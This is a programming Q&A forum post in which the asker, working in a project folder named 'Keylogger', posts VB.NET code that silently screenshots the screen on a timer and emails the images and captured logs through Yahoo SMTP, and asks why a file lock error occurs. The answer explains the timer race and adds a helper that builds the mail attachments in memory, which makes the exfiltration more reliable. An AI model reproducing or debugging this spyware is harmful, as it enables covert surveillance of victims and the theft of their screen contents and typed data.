IOException was unhandled vb.net - vb.net

Question

When I run my program, it encounter with this error
The process cannot access the file
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png'
because it is being used by another process.
This error is for
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
Can someone help me about it? Thanks in advance!
Here is my full code:
private j as integer = 1
Public Function TakeImage()
Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
Dim Img As New Bitmap(Width, Height)
Dim g As Graphics = Graphics.FromImage(Img)
g.CopyFromScreen(X, Y, 0, 0, Img.Size)
g.Dispose()
Return Img
End Function
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Dim i As Integer
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("********", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.mail.yahoo.com"
mail = New MailMessage
mail.From = New MailAddress("********")
mail.To.Add("*********")
mail.Subject = ("Parham")
mail.Body = txtlogs.Text
For i = 1 To 3
Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
mail.Attachments.Add(attach)
smtpServer.Send(mail)
If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
End If
End Using
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not Directory.Exists(Application.StartupPath & "\pic\") Then
Directory.CreateDirectory(Application.StartupPath & "\pic\")
End If
End Sub
Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
Dim picture As Image = TakeImage()
Using picture
picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
End Using
j += 1
If j > 3 Then
j = New Integer
j = 1
End If
End Sub

Answer 1

You should first set Option Strict ON, then fix the warnings and errors that will be shown and then edit your post to the actual code.
The cause of the exception is a timing problem between the tmrEmail Timer object and the tmrScrShot Timer object.
EDIT:
This method takes a Image object which is then saved to a memory stream which is used to create a System.Net.Mail.Attachment
Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
Dim attachment As System.Net.Mail.Attachment
Using ms As New System.IO.MemoryStream()
img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)
attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")
End Using
Return attachment
End Function